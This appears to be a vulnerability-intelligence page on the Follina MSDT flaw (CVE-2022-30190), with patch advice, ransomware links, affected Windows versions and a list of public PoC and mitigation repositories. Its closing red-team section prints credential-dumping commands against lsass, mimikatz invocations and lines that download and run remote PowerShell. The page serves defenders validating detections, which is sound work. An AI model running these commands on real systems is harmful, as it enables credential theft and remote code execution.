CVE-2022-30190
Overview
This vulnerability is a remote code execution flaw originating from improper handling of the MSDT (Microsoft Support Diagnostic Tool) URL protocol invocation. The root cause lies in the MSDT component's failure to properly validate and sanitize input when called via URL protocol handlers from applications such as Microsoft Word. This allows untrusted input to trigger execution of arbitrary code within the context of the calling application.
Vulnerability Description
A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.
Impact
An attacker who successfully exploits this vulnerability can execute arbitrary code with the privileges of the user running the calling application, which may be a low or high-privileged account depending on the context. This enables installation of programs, modification or deletion of data, and creation of new user accounts within the scope of the user’s permissions. Exploitation requires the victim to interact with a malicious URL or document, potentially leading to full system compromise or lateral movement within a network environment.
Solution
Microsoft has released security updates addressing this vulnerability for affected Windows 10 versions including 1507, 1607, 1809, 20H2, and 21H1. Administrators should apply the updates as detailed in the Microsoft Security Response Center advisory available at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190. The advisory provides specific patch versions and installation instructions to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
blackbasta
|
523 | ransomware.live |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A significant remote code execution vulnerability exists in the Microsoft Support Diagnostic Tool (MSDT) when invoked via the URL protocol from applications such as Microsoft Word. This flaw allows an attacker to execute arbitrary code under the privileges of the calling application. The exploitation of this vulnerability can occur when a user opens a specially crafted document containing a malicious link. Consequently, the attacker can perform a range of actions, including installing software, accessing, modifying, or deleting data, and creating new user accounts, all within the context of the user's permissions. This poses a substantial risk, especially in environments where users operate with elevated privileges.
The attack vector primarily involves social engineering tactics, where attackers entice users to open malicious documents. These documents may be delivered through phishing emails or hosted on compromised websites. Once the document is opened, the embedded link triggers the MSDT, leading to the execution of the attacker's code. Given the widespread use of Microsoft Office products, the potential for exploitation is vast, as many users may not be aware of the risks associated with opening unsolicited or suspicious files. The ease of access to the vulnerability through common applications makes it particularly concerning for organizations that rely on Microsoft products for daily operations.
The real-world impact of this vulnerability can be profound, especially for businesses that handle sensitive information or operate in regulated industries. Successful exploitation could lead to data breaches, loss of intellectual property, and significant financial losses due to operational disruptions. Additionally, the reputational damage resulting from a security incident can have long-lasting effects on customer trust and brand integrity. Organizations may face regulatory scrutiny and potential fines if they fail to protect sensitive data adequately. The high CVSS score of 7.8 indicates that this vulnerability poses a serious threat that should not be underestimated.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating software and applying security patches is crucial to protecting against known vulnerabilities. Implementing robust email filtering solutions can help reduce the likelihood of phishing attempts reaching users. Additionally, educating employees about the risks associated with opening unsolicited documents and links can significantly decrease the chances of successful exploitation. Employing endpoint protection solutions that monitor for unusual behavior can also aid in the early detection of potential exploitation attempts.
In conclusion, the remote code execution vulnerability associated with MSDT presents a significant threat to users of various Microsoft operating systems and applications. Its exploitation can lead to severe consequences for both individuals and organizations, highlighting the need for proactive security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against this and similar vulnerabilities. Implementing comprehensive detection and mitigation strategies will be essential in safeguarding sensitive data and maintaining operational integrity in an increasingly complex threat landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-30190, accompanied by the emergence of new proof-of-concept tools that automate attack chains incorporating this vulnerability. This expansion of the exploit landscape signals increased adversary interest and capability, particularly among ransomware groups such as Black Basta and Bian Lian, which continue to leverage this vulnerability in their campaigns. Although the EPSS score remains stable, the qualitative increase in detection activity and the availability of sophisticated exploitation frameworks elevate the operational risk. For defenders, this development underscores the growing likelihood of targeted attacks exploiting CVE-2022-30190, necessitating heightened vigilance despite the unchanged quantitative risk metrics. The convergence of ransomware actors with enhanced exploit tooling amplifies the threat’s potential impact on affected environments.
Update 2 — May 16, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2022-30190, evidenced by a notable surge in telemetry signals and expanded ransomware group involvement. The number of distinct ransomware actors leveraging this vulnerability has increased, indicating broader adoption within criminal ecosystems. Concurrently, new proof-of-concept exploits and automated tooling have emerged, lowering the technical barrier for threat actors to weaponize this flaw. This evolution in the exploit landscape amplifies the operational risk, as adversaries can more readily integrate CVE-2022-30190 into diverse attack chains, including ransomware campaigns linked to groups such as Black Basta and Bian Lian. Although the EPSS score remains high but stable, the qualitative indicators from our sensors suggest an elevated likelihood of targeted exploitation attempts. For defenders, this means the threat environment surrounding this vulnerability is intensifying, warranting increased monitoring and readiness despite unchanged quantitative risk metrics.
Update 3 — July 17, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2022-30190, reflecting a growing adversary focus on this vulnerability. This uptick corresponds with continued integration of CVE-2022-30190 exploitation techniques within ransomware campaigns attributed to groups such as Black Basta and Bian Lian, underscoring its operational utility in high-impact attacks. Although the EPSS score remains stable at an elevated level, the qualitative increase in telemetry signals a heightened exploitation attempt frequency, suggesting adversaries are actively refining and deploying attack vectors leveraging this flaw. For defenders, this evolving threat landscape indicates an increased likelihood of targeted intrusions exploiting MSDT call vectors, reinforcing the criticality of vigilant monitoring and rapid incident response capabilities. The risk level should be considered elevated due to this intensification in adversary activity despite unchanged quantitative exploitability metrics.
Update 4 — July 25, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-30190, accompanied by the emergence of new proof-of-concept exploits that have gained traction within attacker communities. This qualitative increase in telemetry signals a broadening of the exploit landscape, with adversaries leveraging more sophisticated and varied tooling to weaponize the MSDT vulnerability. Notably, ransomware groups linked to this vulnerability, including Black Basta and BianLian, continue to integrate these evolving attack vectors into their campaigns, underscoring the vulnerability’s sustained operational relevance. Although quantitative exploitability metrics remain stable, the intensified adversary activity and expanded toolkit diversity elevate the threat environment. For defenders, this translates into a higher probability of targeted intrusions exploiting this vector, necessitating heightened vigilance in detection and response efforts. Consequently, the overall risk level associated with CVE-2022-30190 should be considered elevated due to this surge in exploitation dynamics and adversary adaptation.
Update 5 — August 16, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-30190, reflected by a substantial increase in telemetry signals. This surge coincides with the proliferation of new proof-of-concept exploits and expanded tooling repositories on public platforms, which have lowered the barrier for adversaries to weaponize this vulnerability. Notably, ransomware groups such as Black Basta and BianLian continue to integrate this exploit into their campaigns, reinforcing its operational utility in high-impact intrusion scenarios. For defenders, this intensification signals a heightened likelihood of targeted attacks leveraging MSDT URL protocol abuse, demanding increased scrutiny of related telemetry and network behaviors. Consequently, the threat level associated with CVE-2022-30190 should be elevated to reflect its growing exploitation momentum and the sustained interest from financially motivated threat actors.
Affected Products (17)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Windows 10 1507 | All |
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 1607 | All |
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 1809 | All |
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 20h2 | All |
cpe:2.3:o:microsoft:windows_10_20h2:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 21h1 | All |
cpe:2.3:o:microsoft:windows_10_21h1:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 21h2 | All |
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 11 21h2 | All |
cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 7 | N/A |
cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*
|
|
|
Microsoft | Windows 8.1 | N/A |
cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Rt 8.1 | N/A |
cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2008 | r2 |
cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2012 | N/A |
cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2012 | r2 |
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | All |
cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2019 | All |
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2022 | All |
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 20h2 | All |
cpe:2.3:o:microsoft:windows_server_20h2:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Microsoft Office Word MSDTJS
exploits/windows/fileformat/word_msdtjs_rce
|
nao sec, mekhalleh (RAMELLA Sébastien), bwatters-r7 | Unknown | - | View |
GitHub PoCs (96)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
komomon/CVE-2022-30190-follina-Office-MSDT-Fixed
CVE-2022-30190-follina.py-修改版,可以自定义word模板,方便实战中钓鱼使用。
|
komomon | 390 | 52 | 2022-06-02 | View |
|
JMousqueton/PoC-CVE-2022-30190
POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
|
JMousqueton | 157 | 50 | 2022-05-30 | View |
|
onecloudemoji/CVE-2022-30190
CVE-2022-30190 Follina POC
|
onecloudemoji | 104 | 24 | 2022-05-31 | View |
|
doocop/CVE-2022-30190
Microsoft Office Word Rce 复现(CVE-2022-30190)
|
doocop | 59 | 14 | 2022-05-31 | View |
|
archanchoudhury/MSDT_CVE-2022-30190
This Repository Talks about the Follina MSDT from Defender Perspective
|
archanchoudhury | 37 | 10 | 2022-05-31 | View |
|
Hrishikesh7665/Follina_Exploiter_CLI
Exploit Microsoft Zero-Day Vulnerability Follina (CVE-2022-30190)
|
Hrishikesh7665 | 34 | 13 | 2022-06-09 | View |
|
Malwareman007/Deathnote
Proof of Concept of CVE-2022-30190
|
Malwareman007 | 38 | 6 | 2022-06-08 | View |
|
MalwareTech/FollinaExtractor
Extract payload URLs from Follina (CVE-2022-30190) docx and rtf files
|
MalwareTech | 31 | 2 | 2022-06-15 | View |
|
0xflagplz/MS-MSDT-Office-RCE-Follina
CVE-2022-30190 | MS-MSDT Follina One Click
|
0xflagplz | 20 | 12 | 2022-06-02 | View |
|
ErrorNoInternet/FollinaScanner
A tool written in Go that scans files & directories for the Follina exploit (CVE-2022-30190)
|
ErrorNoInternet | 23 | 6 | 2022-06-02 | View |
|
Noxtal/follina
All about CVE-2022-30190, aka follina, that is a RCE vulnerability that affects Microsoft Support Diagnostic Tools (MSDT...
|
Noxtal | 21 | 4 | 2022-06-03 | View |
|
dwisiswant0/gollina
Follina MS-MSDT 0-day MS Office RCE (CVE-2022-30190) PoC in Go
|
dwisiswant0 | 17 | 5 | 2022-06-01 | View |
|
aminetitrofine/CVE-2022-30190
Follina (CVE-2022-30190) is a Microsoft Office zero-day vulnerability that has recently been discovered. It’s a high-sev...
|
aminetitrofine | 12 | 6 | 2023-05-14 | View |
|
drgreenthumb93/CVE-2022-30190-follina
Just another PoC for the new MSDT-Exploit
|
drgreenthumb93 | 8 | 4 | 2022-06-01 | View |
|
abbarhissarh/FollinaXploit
A Command Line based python tool for exploit Zero-Day vulnerability in MSDT (Microsoft Support Diagnostic Tool) also kno...
|
abbarhissarh | 8 | 3 | 2022-11-19 | View |
|
Gra3s/CVE-2022-30190_EXP_PowerPoint
This is exploit of CVE-2022-30190 on PowerPoint.
|
Gra3s | 8 | 2 | 2022-06-29 | View |
|
PaddlingCode/cve-2022-30190
CVE-2022-30190 remediation via removal of ms-msdt from Windows registry
|
PaddlingCode | 6 | 4 | 2022-05-31 | View |
|
sudoaza/CVE-2022-30190
MS-MSDT Follina CVE-2022-30190 PoC document generator
|
sudoaza | 7 | 2 | 2022-06-01 | View |
|
DerZiad/CVE-2022-30190
This project demonstrates a proof-of-concept exploit for CVE-2022-30190, also known as "Follina"—a critical remote code ...
|
DerZiad | 6 | 1 | 2022-06-04 | View |
|
AbdulRKB/Follina
Remote Access Shell for Windows (based on cve-2022-30190)
|
AbdulRKB | 5 | 2 | 2022-06-04 | View |
|
ItsNee/Follina-CVE-2022-30190-POC
|
ItsNee | 6 | 0 | 2022-06-05 | View |
|
sentinelblue/CVE-2022-30190
Microsoft Sentinel analytic rule and hunting queries in ASIM for activity of MSDT and CVE-2022-30190.
|
sentinelblue | 5 | 1 | 2022-05-31 | View |
|
Cosmo121/Follina-Remediation
Removes the ability for MSDT to run, in response to CVE-2022-30190 (Follina)
|
Cosmo121 | 4 | 1 | 2022-06-01 | View |
|
winstxnhdw/CVE-2022-30190
A proof of concept for CVE-2022-30190 (Follina).
|
winstxnhdw | 2 | 2 | 2022-09-15 | View |
|
gyaansastra/CVE-2022-30190
|
gyaansastra | 2 | 2 | 2022-06-02 | View |
|
arozx/CVE-2022-30190
A very simple MSDT "Follina" exploit **patched**
|
arozx | 2 | 2 | 2022-06-02 | View |
|
EkamSinghWalia/Follina-MSDT-Vulnerability-CVE-2022-30190-
Detection and Remediation of the Follina MSDT Vulnerability (CVE-2022-30190)
|
EkamSinghWalia | 3 | 1 | 2022-07-21 | View |
|
dsibilio/follina-spring
Server to host/activate Follina payloads & generator of malicious Word documents exploiting the MS-MSDT protocol. (CVE-2...
|
dsibilio | 4 | 0 | 2022-06-07 | View |
|
Jump-Wang-111/AmzWord
An automated attack chain based on CVE-2022-30190, 163 email backdoor, and image steganography.
|
Jump-Wang-111 | 1 | 2 | 2023-11-28 | View |
|
rouben/CVE-2022-30190-NSIS
An NSIS script that helps deploy and roll back the mitigation registry patch for CVE-2022-30190 as recommended by Micros...
|
rouben | 3 | 0 | 2022-06-01 | View |
|
swaiist/CVE-2022-30190-Fix
|
swaiist | 2 | 1 | 2022-06-02 | View |
|
SonicWave21/Follina-CVE-2022-30190-Unofficial-patch
An Unofficial Patch Follina CVE-2022-30190 (patch) by micrisoft Guidelines.
|
SonicWave21 | 2 | 1 | 2022-06-13 | View |
|
joshuavanderpoll/CVE-2022-30190
Microsoft Support Diagnostic Tool (CVE-2022-30190)
|
joshuavanderpoll | 2 | 1 | 2022-06-07 | View |
|
Muhammad-Ali007/Follina_MSDT_CVE-2022-30190
|
Muhammad-Ali007 | 1 | 2 | 2023-07-17 | View |
|
jeffreybxu/five-nights-at-follina-s
A Fullstack Academy Cybersecurity project examining the full cycle of the Follina (CVE-2022-30190) vulnerability, from e...
|
jeffreybxu | 2 | 0 | 2022-08-01 | View |
|
Zitchev/go_follina
Follina (CVE-2022-30190) proof-of-concept
|
Zitchev | 2 | 0 | 2022-06-27 | View |
|
derco0n/mitigate-folina
Mitigates the "Folina"-ZeroDay (CVE-2022-30190)
|
derco0n | 1 | 1 | 2022-06-02 | View |
|
gamingwithevets/msdt-disable
MSDT protocol disabler (CVE-2022-30190 patch tool)
|
gamingwithevets | 2 | 0 | 2022-06-02 | View |
|
SrikeshMaharaj/CVE-2022-30190
Follina POC by John Hammond
|
SrikeshMaharaj | 2 | 0 | 2022-06-03 | View |
|
amitniz/follina_cve_2022-30190
proof of concept to CVE-2022-30190 (follina)
|
amitniz | 2 | 0 | 2022-06-10 | View |
|
ethicalblue/Follina-CVE-2022-30190-Sample
Educational exploit for CVE-2022-30190
|
ethicalblue | 0 | 2 | 2024-07-20 | View |
|
Nyx2022/Follina-CVE-2022-30190-Sample
Educational Follina PoC Tool
|
Nyx2022 | 0 | 2 | 2022-12-12 | View |
|
suenerve/CVE-2022-30190-Follina-Patch
The CVE-2022-30190-follina Workarounds Patch
|
suenerve | 2 | 0 | 2022-06-02 | View |
|
cyberdashy/CVE-2022-30190
Mitigation for CVE-2022-30190
|
cyberdashy | 0 | 1 | 2022-06-10 | View |
|
WesyHub/CVE-2022-30190---Follina---Poc-Exploit
Simple Follina poc exploit
|
WesyHub | 0 | 1 | 2022-06-02 | View |
|
kdk2933/msdt-CVE-2022-30190
CVE-2022-30190- A Zero-Click RCE Vulnerability In MSDT
|
kdk2933 | 1 | 0 | 2022-05-31 | View |
|
ernestak/CVE-2022-30190
|
ernestak | 0 | 1 | 2022-06-14 | View |
|
rickhenderson/cve-2022-30190
Aka Follina = benign POC.
|
rickhenderson | 1 | 0 | 2022-05-31 | View |
|
b401/Clickstudio-compromised-certificate
Repository containing the compromised certificate seen in recent CVE-2022-30190 (Follina) attacks.
|
b401 | 1 | 0 | 2022-06-09 | View |
|
michealadams30/Cve-2022-30190
|
michealadams30 | 1 | 0 | 2022-12-26 | View |
|
alienkeric/CVE-2022-30190
The script is from https://github.com/JohnHammond/msdt-follina, just make it simple for me to use it and this script ai...
|
alienkeric | 1 | 0 | 2024-04-09 | View |
|
IamVSM/msdt-follina
Microsoft MS-MSDT Follina (0-day Vulnerability) CVE-2022-30190 Attack Vector
|
IamVSM | 1 | 0 | 2022-06-06 | View |
|
ToxicEnvelope/FOLLINA-CVE-2022-30190
Implementation of FOLLINA-CVE-2022-30190
|
ToxicEnvelope | 1 | 0 | 2023-03-14 | View |
|
mitespsoc/CVE-2022-30190-POC
|
mitespsoc | 0 | 1 | 2022-06-01 | View |
|
melting0256/Enterprise-Cybersecurity
CVE-2022-30190(follina)
|
melting0256 | 1 | 0 | 2022-12-29 | View |
|
sentrium-security/Follina-Workaround-CVE-2022-30190
|
sentrium-security | 0 | 1 | 2022-06-08 | View |
|
JotaQC/CVE-2022-30190_Temporary_Fix_Source_Code
These are the source codes of the Python scripts to apply the temporary protection against the CVE-2022-30190 vulnerabil...
|
JotaQC | 0 | 1 | 2022-06-12 | View |
|
nanaao/PicusSecurity4.Week.Repo
CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
|
nanaao | 0 | 1 | 2022-06-13 | View |
|
ITMarcin2211/CVE-2022-30190
|
ITMarcin2211 | 1 | 0 | 2022-06-02 | View |
|
hycheng15/CVE-2022-30190
An exploitation of CVE-2022-30190 (Follina)
|
hycheng15 | 1 | 0 | 2023-05-02 | View |
|
Vaisakhkm2625/MSDT-0-Day-CVE-2022-30190-Poc
|
Vaisakhkm2625 | 0 | 1 | 2022-06-01 | View |
|
rayorole/CVE-2022-30190
CVE-2022-30190 or "Follina" 0day proof of concept
|
rayorole | 0 | 1 | 2022-06-01 | View |
|
ImVihanga03/Static-Malware-Analysis-Follina-CVE-2022-30190
Static Malware Analysis of Follina (CVE-2022-30190) from Blue Team Labs Online
|
ImVihanga03 | 1 | 0 | 2026-03-25 | View |
|
zavikhttak/follina-msdt-threat-investigation
🔵 Threat analysis writeup for Follina (CVE-2022-30190) — Microsoft MSDT RCE zero-day exploited in the wild. Covers stati...
|
zavikhttak | 0 | 0 | 2026-07-21 | View |
|
zavikhttak/Follina-CVE-2022-30190-Analysis
Threat analysis writeup for Follina (CVE-2022-30190) — Microsoft MSDT RCE zero-day exploited in the wild. Covers static ...
|
zavikhttak | 0 | 0 | 2026-07-21 | View |
|
czabatta/THM-Tempest
TryHackMe SOC Level 1 — Follina CVE-2022-30190, Nim C2, Chisel, PrintSpoofer, backdoor accounts
|
czabatta | 0 | 0 | 2026-06-15 | View |
|
kaleth4/CVE-2022-30190
|
kaleth4 | 0 | 0 | 2026-06-14 | View |
|
u1tr0nex/CVE-2022-30190-Follina-Lab
Full exploit chain lab and Suricata IDS detection for CVE-2022-30190 (Follina) - MSDT RCE
|
u1tr0nex | 0 | 0 | 2026-05-08 | View |
|
shndnth/CVE-2022-30190
Educational Proof-of-Concept for the CVE-2022-30190 (Follina) vulnerability.
|
shndnth | 0 | 0 | 2026-04-10 | View |
|
2867a0/CVE-2022-30190
|
2867a0 | 0 | 0 | 2022-05-31 | View |
|
droidrzrlover/CVE-2022-30190
This is to patch CVE-2022-30190. Use at your own risk.
|
droidrzrlover | 0 | 0 | 2022-06-03 | View |
|
tej7gandhi/CVE-2022-30190-Zero-Click-Zero-Day-in-msdt
|
tej7gandhi | 0 | 0 | 2022-06-05 | View |
|
Abdibimantara/CVE-2022-30190-Analysis-With-LetsDefends-Lab
this is my simple article about CVE 2022-30190 (Follina) analysis. I use the lab from Letsdefend.
|
Abdibimantara | 0 | 0 | 2022-06-10 | View |
|
JotaQC/CVE-2022-30190_Temporary_Fix
These are two Python scripts compiled to easily and quickly apply temporary protection against the CVE-2022-30190 vulner...
|
JotaQC | 0 | 0 | 2022-06-11 | View |
|
notherealhazard/follina-CVE-2022-30190
|
notherealhazard | 0 | 0 | 2022-06-15 | View |
|
RathoreAbhiii/Folina-Vulnerability-Exploitation-Detection-and-Mitigation
Project Repository for Exploitation, Detection and Mitigation of Folina Vulnerability (CVE-2022-30190)
|
RathoreAbhiii | 0 | 0 | 2025-04-08 | View |
|
XxToxicScriptxX/CVE-2022-30190
Python file scanner created in 2021 scanning for known and potential vulns
|
XxToxicScriptxX | 0 | 0 | 2022-06-13 | View |
|
DOV3Y/CVE-2022-30190-ASR-Senintel-Process-Pickup
Picking up processes that have triggered ASR related to CVE-2022-30190
|
DOV3Y | 0 | 0 | 2022-05-31 | View |
|
hscorpion/CVE-2022-30190
|
hscorpion | 0 | 0 | 2022-06-01 | View |
|
hilt86/cve-2022-30190-mitigate
Powershell script to mitigate cve-2022-30190
|
hilt86 | 0 | 0 | 2022-06-03 | View |
|
ernestak/Sigma-Rule-for-CVE-2022-30190
|
ernestak | 0 | 0 | 2022-06-14 | View |
|
Cerebrovinny/follina-CVE-2022-30190
follina zero day vulnerability to help Microsoft to mitigate the attack
|
Cerebrovinny | 0 | 0 | 2022-06-15 | View |
|
Imeneallouche/Follina-attack-CVE-2022-30190-
this is a demo attack of FOLLINA exploit , a vulnerability that has been discovered in May 2022 and stood unpatched unti...
|
Imeneallouche | 0 | 0 | 2022-10-06 | View |
|
Arkha-Corvus/LetsDefend-SOC173-Follina-0-Day-Detected
We are presented with a security alert indicating the detection of the Follina (CVE-2022-30190) vulnerability. A malicio...
|
Arkha-Corvus | 0 | 0 | 2025-10-18 | View |
|
aymankhder/MSDT_CVE-2022-30190-follina-
|
aymankhder | 0 | 0 | 2022-05-31 | View |
|
castlesmadeofsand/ms-msdt-vulnerability-pdq-package
PDQ Package I created for CVE-2022-30190
|
castlesmadeofsand | 0 | 0 | 2022-06-02 | View |
|
yrkuo/CVE-2022-30190
|
yrkuo | 0 | 0 | 2023-02-13 | View |
|
shri142/ZipScan
A tool written in Go that scans files & directories for the Follina exploit (CVE-2022-30190)
|
shri142 | 0 | 0 | 2024-02-17 | View |
|
abhirules27/Follina
Notes related to CVE-2022-30190
|
abhirules27 | 0 | 0 | 2022-06-07 | View |
|
ImproveCybersecurityJaro/2022_PoC-MSDT-Follina-CVE-2022-30190
Proof of Concept zu MSDT-Follina - CVE-2022-30190. ÜBERPRÜFUNG DER WIRKSAMKEIT VON MICROSOFT DEFNEDER IN DER JEWEILS AKT...
|
ImproveCybersecurityJaro | 0 | 0 | 2022-06-01 | View |
|
seinab-ibrahim/Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis
Exploration of the Follina (CVE-2022-30190) Microsoft Office vulnerability, including a detailed analysis, proof-of-conc...
|
seinab-ibrahim | 0 | 0 | 2025-08-14 | View |
|
Potato-9257/CVE-2022-30190_page
PoC of CVE-2022-30190
|
Potato-9257 | 0 | 0 | 2025-02-07 | View |
|
mattjmillner/CVE-Smackdown
Implementation of CVE-2022-30190 in C
|
mattjmillner | 0 | 0 | 2022-11-10 | View |
|
yeep1115/ICT287_CVE-2022-30190_Exploit
Project on CVE-2022-30190 exploitation and mitigation strategies
|
yeep1115 | 0 | 0 | 2025-03-02 | View |
|
nimesh895/Malware-Analysis-Follina-CVE-2022-30190
|
nimesh895 | 0 | 0 | 2026-01-21 | View |
|
bcarrulo/Lab-CVE-2022-30190
|
bcarrulo | 0 | 0 | 2026-02-28 | View |
Ransomware Groups 1
Threat Feed
44 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Cobalt Strike, FileZilla, PsExec (36 known victims)
Ransomware group known to exploit this vulnerability (26 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability (62 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
